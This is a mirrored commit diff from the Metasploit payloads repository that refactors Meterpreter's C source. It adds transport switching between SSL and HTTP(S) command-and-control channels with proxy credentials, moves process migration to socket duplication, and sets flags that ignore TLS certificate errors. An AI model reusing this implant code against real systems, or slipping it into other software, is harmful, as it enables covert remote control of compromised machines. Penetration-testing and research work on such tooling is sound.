1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-02 11:36:22 +01:00

Merge branch 'upstream/master' into bind-ipv6-and-ipv4

This commit is contained in:
OJ 2015-04-06 15:18:27 +10:00
commit bea5c1a4ff
21 changed files with 1202 additions and 1028 deletions

View File

@ -49,7 +49,9 @@ remote_request_core_migrate(Remote *remote, Packet *packet)
l.entry_point,
sock_path);
orig_fd = remote_get_fd(remote);
if (remote->transport->get_socket) {
orig_fd = remote->transport->get_socket(remote->transport);
}
dprintf("[MIGRATE] Creating passfd thread to share socket %d", orig_fd);
@ -85,3 +87,39 @@ remote_request_core_migrate(Remote *remote, Packet *packet)
return FALSE;
}
extern Transport* transport_create_tcp(wchar_t* url);
#if 0
// TODO: put this back in when the stageless work has been completed for POSIX.
BOOL
remote_request_core_change_transport(Remote* remote, Packet* packet, DWORD* pResult) {
DWORD result = ERROR_NOT_ENOUGH_MEMORY;
Packet* response = packet_create_response(packet);
UINT transportType = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANSPORT_TYPE);
char* transportUrl = packet_get_tlv_value_string(packet, TLV_TYPE_TRANSPORT_URL);
size_t urlSize;
dprintf("[CHANGE TRANS] Type: %u", transportType);
dprintf("[CHANGE TRANS] Url: %s", transportUrl);
if (response == NULL || transportUrl == NULL) {
dprintf("[CHANGE TRANS] Something was NULL");
goto out;
}
if (transportType == METERPRETER_TRANSPORT_SSL) {
remote->nextTransport = transport_create_tcp(transportUrl);
result = ERROR_SUCCESS;
}
else {
dprintf("[CHANGE TRANS] Unsupported");
}
out:
if (packet) {
packet_transmit_empty_response(remote, response, result);
}
return result == ERROR_SUCCESS ? FALSE : TRUE;
}
#endif

View File

@ -59,6 +59,67 @@ typedef struct _MIGRATECONTEXT
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
extern Transport* transport_create_tcp(wchar_t* url);
extern Transport* transport_create_http(BOOL ssl, wchar_t* url, wchar_t* ua, wchar_t* proxy,
wchar_t* proxyUser, wchar_t* proxyPass, PBYTE certHash, int expirationTime, int commsTimeout);
BOOL remote_request_core_change_transport(Remote* remote, Packet* packet, DWORD* pResult)
{
DWORD result = ERROR_NOT_ENOUGH_MEMORY;
Packet* response = packet_create_response(packet);
UINT transportType = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_TYPE);
wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);
dprintf("[CHANGE TRANS] Type: %u", transportType);
dprintf("[CHANGE TRANS] Url: %S", transportUrl);
do
{
if (response == NULL || transportUrl == NULL)
{
dprintf("[CHANGE TRANS] Something was NULL");
break;
}
if (transportType == METERPRETER_TRANSPORT_SSL)
{
remote->nextTransport = transport_create_tcp(transportUrl);
}
else
{
BOOL ssl = transportType == METERPRETER_TRANSPORT_HTTPS;
wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA);
wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_INFO);
wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER);
wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS);
PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH);
int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMMS_TIMEOUT);
remote->nextTransport = transport_create_http(ssl, transportUrl, ua, proxy,
proxyUser, proxyPass, certHash, expirationTimeout, commsTimeout);
SAFE_FREE(ua);
SAFE_FREE(proxy);
SAFE_FREE(proxyUser);
SAFE_FREE(proxyPass);
}
// tell the server dispatch to exit, it should pick up the new transport
result = ERROR_SUCCESS;
} while (0);
if (packet)
{
packet_transmit_empty_response(remote, response, result);
}
SAFE_FREE(transportUrl);
return result == ERROR_SUCCESS ? FALSE : TRUE;
}
/*!
* @brief Migrate the meterpreter server from the current process into another process.
* @param remote Pointer to the \c Remote instance.
@ -130,9 +191,10 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
}
if (remote->transport == METERPRETER_TRANSPORT_SSL) {
if (remote->transport->get_socket)
{
// Duplicate the socket for the target process if we are SSL based
if (WSADuplicateSocket(remote_get_fd(remote), dwProcessID, &ctx.info) != NO_ERROR)
if (WSADuplicateSocket(remote->transport->get_socket(remote->transport), dwProcessID, &ctx.info) != NO_ERROR)
{
BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
}

View File

@ -20,6 +20,10 @@ extern DWORD remote_request_core_crypto_negotiate( Remote *remote, Packet *packe
extern BOOL remote_request_core_shutdown(Remote *remote, Packet *packet, DWORD* pResult);
#ifdef _WIN32
// POSIX support coming soon
extern BOOL remote_request_core_change_transport( Remote *remote, Packet *packet, DWORD* pResult );
#endif
extern BOOL remote_request_core_migrate( Remote *remote, Packet *packet, DWORD* pResult );
// Local remote response implementors
@ -71,6 +75,12 @@ Command baseCommands[] =
COMMAND_REQ("core_channel_interact", remote_request_core_channel_interact),
// Crypto
COMMAND_REQ("core_crypto_negotiate", remote_request_core_crypto_negotiate),
#ifdef _WIN32
// TODO: finalise the implementation of stageless POSIX before enabling this for the
// POSIX meterpreter.
// transport switching
COMMAND_INLINE_REQ("core_change_transport", remote_request_core_change_transport),
#endif
// Migration
COMMAND_INLINE_REQ("core_migrate", remote_request_core_migrate),
// Shutdown

View File

@ -12,13 +12,12 @@
#include <stdio.h>
#include <time.h>
#define SAFE_FREE(x) {if(x){free(x);x=NULL;}}
#ifdef _WIN32
#include <winsock2.h>
#include <windows.h>
/*! @brief When defined, tells metsrv to use WinHTTP instead of WinInet for HTTP(s) meterrpeter. */
#define USE_WINHTTP
typedef DWORD __u32;
typedef struct ___u128 {
__u32 a1;
@ -216,8 +215,11 @@ static _inline void real_dprintf(char *format, ...)
{
va_list args;
char buffer[1024];
va_start(args,format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
size_t len;
_snprintf_s(buffer, sizeof(buffer), sizeof(buffer)-1, "[%x] ", GetCurrentThreadId());
len = strlen(buffer);
va_start(args, format);
vsnprintf_s(buffer + len, sizeof(buffer)-len, sizeof(buffer)-len - 3, format, args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
}

View File

@ -8,13 +8,7 @@
#include "common.h"
#ifdef _WIN32
#ifdef USE_WINHTTP
#include <winhttp.h>
#define packet_transmit_via_http_lib packet_transmit_via_http_winhttp
#else
#include <wininet.h>
#define packet_transmit_via_http_lib packet_transmit_via_http_wininet
#endif
#endif
DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index,
@ -792,6 +786,34 @@ PCHAR packet_get_tlv_value_string( Packet *packet, TlvType type )
return string;
}
/*!
* @brief Get the string value of a TLV as a wchar_t string.
* @param packet Pointer to the packet to get the TLV from.
* @param type Type of TLV to get (optional).
* @return Pointer to the string value, if found.
* @retval NULL The string value was not found in the TLV.
* @retval Non-NULL Pointer to the string value (must be released with free()).
* @remark This function allocates a new string and therefore must be released
* using free().
*/
wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type)
{
size_t size;
wchar_t* result = NULL;
PCHAR string = packet_get_tlv_value_string(packet, type);
if (string)
{
size = mbstowcs(NULL, string, 0) + 1;
result = (wchar_t*)calloc(size, sizeof(wchar_t));
if (result)
{
mbstowcs(result, string, size);
}
}
return result;
}
/*!
* @brief Get the unsigned int value of a TLV.
* @param packet Pointer to the packet to get the TLV from.
@ -1169,27 +1191,28 @@ DWORD packet_remove_completion_handler( LPCSTR requestId )
* @return An indication of the result of processing the transmission request.
* @remark This uses an SSL-encrypted TCP channel, and does not imply the use of HTTPS.
*/
DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
DWORD packet_transmit_via_ssl(Remote* remote, Packet* packet, PacketRequestCompletion* completion)
{
CryptoContext *crypto;
CryptoContext* crypto;
Tlv requestId;
DWORD res;
DWORD idx;
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
#ifdef _UNIX
int local_error = -1;
#endif
lock_acquire( remote->lock );
lock_acquire(remote->lock);
// If the packet does not already have a request identifier, create one for it
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,&requestId) != ERROR_SUCCESS)
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS)
{
DWORD index;
CHAR rid[32];
rid[sizeof(rid) - 1] = 0;
rid[sizeof(rid)-1] = 0;
for (index = 0; index < sizeof(rid) - 1; index++)
for (index = 0; index < sizeof(rid)-1; index++)
rid[index] = (rand() % 0x5e) + 0x21;
packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
@ -1200,24 +1223,24 @@ DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestComp
// If a completion routine was supplied and the packet has a request
// identifier, insert the completion routine into the list
if ((completion) &&
(packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
&requestId) == ERROR_SUCCESS))
(packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
&requestId) == ERROR_SUCCESS))
packet_add_completion_handler((LPCSTR)requestId.buffer, completion);
// If the endpoint has a cipher established and this is not a plaintext
// packet, we encrypt
if ((crypto = remote_get_cipher(remote)) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
{
ULONG origPayloadLength = packet->payloadLength;
PUCHAR origPayload = packet->payload;
// Encrypt
if ((res = crypto->handlers.encrypt(crypto, packet->payload,
packet->payloadLength, &packet->payload,
&packet->payloadLength)) !=
ERROR_SUCCESS)
packet->payloadLength, &packet->payload,
&packet->payloadLength)) !=
ERROR_SUCCESS)
{
SetLastError(res);
break;
@ -1231,41 +1254,48 @@ DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestComp
}
idx = 0;
while( idx < sizeof(packet->header))
while (idx < sizeof(packet->header))
{
// Transmit the packet's header (length, type)
res = SSL_write(
remote->ssl,
ctx->ssl,
(LPCSTR)(&packet->header) + idx,
sizeof(packet->header) - idx
);
);
if(res <= 0) {
if (res <= 0)
{
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
break;
}
idx += res;
}
if(res < 0)
if (res < 0)
{
break;
}
idx = 0;
while( idx < packet->payloadLength)
while (idx < packet->payloadLength)
{
// Transmit the packet's payload (length, type)
res = SSL_write(
remote->ssl,
ctx->ssl,
packet->payload + idx,
packet->payloadLength - idx
);
if(res < 0)
);
if (res < 0)
{
break;
}
idx += res;
}
if(res < 0) {
if (res < 0)
{
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
break;
}
@ -1278,13 +1308,12 @@ DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestComp
// Destroy the packet
packet_destroy(packet);
lock_release( remote->lock );
lock_release(remote->lock);
return res;
}
#ifdef _WIN32
#ifdef USE_WINHTTP
/*!
* @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it.
* @param remote Pointer to the \c Remote instance.
@ -1301,6 +1330,7 @@ DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketReq
DWORD retries = 5;
DWORD flags;
DWORD flen;
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
unsigned char *buffer;
flen = sizeof(flags);
@ -1318,42 +1348,54 @@ DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketReq
do
{
flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
if (ctx->ssl)
{
flags |= WINHTTP_FLAG_SECURE;
dprintf("[PACKET TRANSMIT] Setting secure flag");
}
hReq = WinHttpOpenRequest(remote->hConnection, L"POST", remote->uri, NULL, NULL, NULL, flags);
vdprintf("[PACKET TRANSMIT] Attempting WinHttpOpenRequest on %x to %S", ctx->connection, ctx->uri);
hReq = WinHttpOpenRequest(ctx->connection, L"POST", ctx->uri, NULL, NULL, NULL, flags);
if (hReq == NULL)
{
dprintf("[PACKET TRANSMIT] Failed WinHttpOpenRequest: %d", GetLastError());
dprintf("[PACKET TRANSMIT] Failed WinHttpOpenRequest: %d, %d", GetLastError(), WSAGetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
dprintf("[PACKET TRANSMIT] Request created: %x", hReq);
if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
if (ctx->proxy_user)
{
dprintf("[PACKET TRANSMIT] Setting proxy username to %S", ctx->proxy_user);
dprintf("[PACKET TRANSMIT] Setting proxy password to %S", ctx->proxy_pass);
if (!WinHttpSetCredentials(hReq, WINHTTP_AUTH_TARGET_PROXY, WINHTTP_AUTH_SCHEME_BASIC, ctx->proxy_user, ctx->proxy_pass, NULL))
{
dprintf("[PACKET TRANSMIT] Failed to set creds %u", GetLastError());
}
}
if (ctx->ssl)
{
flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA
| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
| SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
dprintf("[PACKET TRANSMIT] setting flags to : %x", flags);
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)))
{
dprintf("[PACKET TRANSMIT] failed to set security flags");
}
}
dprintf("[PACKET TRANSMIT] flags set to : %x", flags);
hRes = WinHttpSendRequest(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader), packet->payloadLength + sizeof(TlvHeader), 0);
if (!hRes)
{
dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
dprintf("[PACKET TRANSMIT] Failed HttpSendRequest: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
@ -1366,78 +1408,6 @@ DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketReq
return res;
}
#else
/*!
* @brief Windows-specific function to transmit a packet via HTTP(s) _and_ destroy it.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet that is to be sent.
* @param completion Pointer to the completion routines to process.
* @return An indication of the result of processing the transmission request.
* @remark This function is not available on POSIX.
*/
DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
{
DWORD res = 0;
HINTERNET hReq;
BOOL hRes;
DWORD retries = 5;
DWORD flags;
DWORD flen;
unsigned char *buffer;
flen = sizeof(flags);
buffer = malloc(packet->payloadLength + sizeof(TlvHeader));
if (!buffer)
{
SetLastError(ERROR_NOT_FOUND);
return 0;
}
memcpy(buffer, &packet->header, sizeof(TlvHeader));
memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength);
do
{
flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI;
if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
flags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
}
hReq = HttpOpenRequestW(remote->hConnection, L"POST", remote->uri, NULL, NULL, NULL, flags, 0);
if (hReq == NULL)
{
dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
{
InternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, &flen);
flags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA;
InternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, flen);
}
hRes = HttpSendRequest(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader));
if (!hRes)
{
dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
} while (0);
memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader));
InternetCloseHandle(hReq);
return res;
}
#endif
#endif
@ -1457,7 +1427,6 @@ DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestComp
int local_error = -1;
#endif
lock_acquire(remote->lock);
// If the packet does not already have a request identifier, create one for it
@ -1512,8 +1481,8 @@ DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestComp
}
#ifdef _WIN32
dprintf("Transmitting packet of length %d to remote", packet->payloadLength);
res = packet_transmit_via_http_lib(remote, packet, completion);
dprintf("[PACKET] Transmitting packet of length %d to remote", packet->payloadLength);
res = packet_transmit_via_http_winhttp(remote, packet, completion);
#else
// XXX: Implement non-windows HTTP delivery
#endif
@ -1546,17 +1515,10 @@ DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestComp
* @remark This function simply proxies to \c packet_transmit_via_ssl or \c packet_transmit_via_http
* depending on what the remote transport type is.
*/
DWORD packet_transmit( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
{
if (remote->transport == METERPRETER_TRANSPORT_SSL)
{
return packet_transmit_via_ssl(remote, packet, completion);
}
if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS)
{
return packet_transmit_via_http(remote, packet, completion);
}
return 0;
// TODO: remove this function when all the other bits are in line.
return remote->transport->packet_transmit(remote, packet, completion);
}
/*!
@ -1566,12 +1528,14 @@ DWORD packet_transmit( Remote *remote, Packet *packet, PacketRequestCompletion *
* @param res Result code to return.
* @return An indication of the result of processing the transmission request.
*/
DWORD packet_transmit_empty_response( Remote *remote, Packet *packet, DWORD res )
DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res)
{
Packet *response = packet_create_response(packet);
if (!response)
{
return ERROR_NOT_ENOUGH_MEMORY;
}
// Add the result code
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
@ -1587,6 +1551,17 @@ DWORD packet_transmit_empty_response( Remote *remote, Packet *packet, DWORD res
* @return An indication of the result of processing the transmission request.
*/
DWORD packet_receive(Remote *remote, Packet **packet)
{
return remote->transport->packet_receive(remote, packet);
}
/*!
* @brief Receive a new packet on the given remote endpoint.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to a pointer that will receive the \c Packet data.
* @return An indication of the result of processing the transmission request.
*/
DWORD packet_receive_via_ssl(Remote *remote, Packet **packet)
{
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
CryptoContext *crypto = NULL;
@ -1596,16 +1571,12 @@ DWORD packet_receive(Remote *remote, Packet **packet)
BOOL inHeader = TRUE;
PUCHAR payload = NULL;
ULONG payloadLength;
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
#ifdef _UNIX
int local_error = -1;
#endif
if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS)
{
return packet_receive_via_http(remote, packet);
}
lock_acquire(remote->lock);
do
@ -1613,7 +1584,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
// Read the packet length
while (inHeader)
{
if ((bytesRead = SSL_read(remote->ssl, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader)-headerBytes)) <= 0)
if ((bytesRead = SSL_read(ctx->ssl, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader)-headerBytes)) <= 0)
{
if (!bytesRead)
{
@ -1622,7 +1593,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
if (bytesRead < 0)
{
dprintf("[PACKET] receive header failed with error code %d. SSLerror=%d, WSALastError=%d\n", bytesRead, SSL_get_error(remote->ssl, bytesRead), WSAGetLastError());
dprintf("[PACKET] receive header failed with error code %d. SSLerror=%d, WSALastError=%d\n", bytesRead, SSL_get_error(ctx->ssl, bytesRead), WSAGetLastError());
SetLastError(ERROR_NOT_FOUND);
}
@ -1660,7 +1631,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
// Read the payload
while (payloadBytesLeft > 0)
{
if ((bytesRead = SSL_read(remote->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft)) <= 0)
if ((bytesRead = SSL_read(ctx->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft)) <= 0)
{
if (GetLastError() == WSAEWOULDBLOCK)
@ -1675,7 +1646,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
if (bytesRead < 0)
{
dprintf("[PACKET] receive payload of length %d failed with error code %d. SSLerror=%d\n", payloadLength, bytesRead, SSL_get_error(remote->ssl, bytesRead));
dprintf("[PACKET] receive payload of length %d failed with error code %d. SSLerror=%d\n", payloadLength, bytesRead, SSL_get_error(ctx->ssl, bytesRead));
SetLastError(ERROR_NOT_FOUND);
}
@ -1752,8 +1723,6 @@ DWORD packet_receive(Remote *remote, Packet **packet)
}
#ifdef _WIN32
#ifdef USE_WINHTTP
/*!
* @brief Windows-specific function to receive a new packet via WinHTTP.
* @param remote Pointer to the \c Remote instance.
@ -1772,6 +1741,7 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
PUCHAR payload = NULL;
ULONG payloadLength;
DWORD flags;
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
HINTERNET hReq;
BOOL hRes;
@ -1782,14 +1752,14 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
do
{
flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
if (ctx->ssl)
{
flags |= WINHTTP_FLAG_SECURE;
vdprintf("[PACKET RECEIVE WINHTTPS] Setting secure flag..");
vdprintf("[PACKET RECEIVE WINHTTP] Setting secure flag..");
}
vdprintf("[PACKET RECEIVE WINHTTPS] opening request on connection %x to %S", remote->hConnection, remote->uri);
hReq = WinHttpOpenRequest(remote->hConnection, L"POST", remote->uri, NULL, NULL, NULL, flags);
vdprintf("[PACKET RECEIVE WINHTTP] opening request on connection %x to %S", ctx->connection, ctx->uri);
hReq = WinHttpOpenRequest(ctx->connection, L"POST", ctx->uri, NULL, NULL, NULL, flags);
if (hReq == NULL)
{
@ -1798,34 +1768,42 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
break;
}
if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
if (ctx->proxy_user)
{
vdprintf("[PACKET RECEIVE WINHTTPS] transport is SSL, setting up...");
dprintf("[PACKET RECEIVE] Setting proxy username to %S", ctx->proxy_user);
dprintf("[PACKET RECEIVE] Setting proxy password to %S", ctx->proxy_pass);
if (!WinHttpSetCredentials(hReq, WINHTTP_AUTH_TARGET_PROXY, WINHTTP_AUTH_SCHEME_BASIC, ctx->proxy_user, ctx->proxy_pass, NULL))
{
dprintf("[PACKET RECEIVE] Failed to set creds %u", GetLastError());
}
}
if (ctx->ssl)
{
vdprintf("[PACKET RECEIVE WINHTTP] transport is SSL, setting up...");
flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA
| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
| SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)))
{
dprintf("[PACKET RECEIVE WINHTTPS] failed to set the security flags on the request");
dprintf("[PACKET RECEIVE WINHTTP] failed to set the security flags on the request");
}
}
vdprintf("[PACKET RECEIVE WINHTTPS] sending the 'RECV' command...");
vdprintf("[PACKET RECEIVE WINHTTP] sending the 'RECV' command...");
// TODO: when the MSF side supports it, update this so that it's UTF8
char pRecv[] = "RECV";
hRes = WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0, pRecv, sizeof(pRecv), sizeof(pRecv), 0);
if (!hRes)
{
dprintf("[PACKET RECEIVE] Failed WinHttpSendRequest: %d", GetLastError());
dprintf("[PACKET RECEIVE WINHTTP] Failed WinHttpSendRequest: %d %d", GetLastError(), WSAGetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
// TODO: validate the server certificate
vdprintf("[PACKET RECEIVE WINHTTPS] Waiting to see the response ...");
vdprintf("[PACKET RECEIVE WINHTTP] Waiting to see the response ...");
if (!WinHttpReceiveResponse(hReq, NULL))
{
vdprintf("[PACKET RECEIVE] Failed WinHttpReceiveResponse: %d", GetLastError());
@ -1833,15 +1811,15 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
break;
}
if (remote->pCertHash != NULL)
if (ctx->cert_hash != NULL)
{
vdprintf("[PACKET RECEIVE WINHTTPS] validating certificate hash");
vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash");
PCERT_CONTEXT pCertContext = NULL;
DWORD dwCertContextSize = sizeof(pCertContext);
if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize))
{
vdprintf("[PACKET RECEIVE WINHTTPS] Failed to get the certificate context: %u", GetLastError());
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError());
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
break;
}
@ -1850,18 +1828,18 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
BYTE hash[20];
if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize))
{
vdprintf("[PACKET RECEIVE WINHTTPS] Failed to get the certificate hash: %u", GetLastError());
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError());
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
break;
}
vdprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
if (memcmp(hash, remote->pCertHash, 20) != 0)
if (memcmp(hash, ctx->cert_hash, 20) != 0)
{
vdprintf("[PACKET RECEIVE WINHTTPS] Certificate hash doesn't match, bailing out");
dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out");
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
break;
}
@ -1871,17 +1849,17 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
DWORD dwSize = 0;
if (!WinHttpQueryDataAvailable(hReq, &dwSize))
{
vdprintf("[PACKET RECEIVE WINHTTPS] WinHttpQueryDataAvailable failed: %x", GetLastError());
vdprintf("[PACKET RECEIVE WINHTTP] WinHttpQueryDataAvailable failed: %x", GetLastError());
}
else
{
vdprintf("[PACKET RECEIVE WINHTTPS] Available data: %u bytes", dwSize);
vdprintf("[PACKET RECEIVE WINHTTP] Available data: %u bytes", dwSize);
}
#endif
// Read the packet length
retries = 3;
vdprintf("[PACKET RECEIVE WINHTTPS] Start looping through the receive calls");
vdprintf("[PACKET RECEIVE WINHTTP] Start looping through the receive calls");
while (inHeader && retries > 0)
{
retries--;
@ -1892,7 +1870,7 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
break;
}
vdprintf("[PACKET RECEIVE WINHTTPS] Data received: %u bytes", bytesRead);
vdprintf("[PACKET RECEIVE WINHTTP] Data received: %u bytes", bytesRead);
// If the response contains no data, this is fine, it just means the
// remote side had nothing to tell us. Indicate this through a
@ -1920,13 +1898,13 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
if (headerBytes != sizeof(TlvHeader))
{
dprintf("[PACKET RECEIVE WINHTTPS] headerBytes no valid");
dprintf("[PACKET RECEIVE WINHTTP] headerBytes no valid");
SetLastError(ERROR_NOT_FOUND);
break;
}
// Initialize the header
vdprintf("[PACKET RECEIVE WINHTTPS] initialising header");
vdprintf("[PACKET RECEIVE WINHTTP] initialising header");
header.length = header.length;
header.type = header.type;
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
@ -1943,7 +1921,7 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
retries = payloadBytesLeft;
while (payloadBytesLeft > 0 && retries > 0)
{
vdprintf("[PACKET RECEIVE WINHTTPS] reading more data from the body...");
vdprintf("[PACKET RECEIVE WINHTTP] reading more data from the body...");
retries--;
if (!WinHttpReadData(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead))
{
@ -1954,12 +1932,12 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
if (!bytesRead)
{
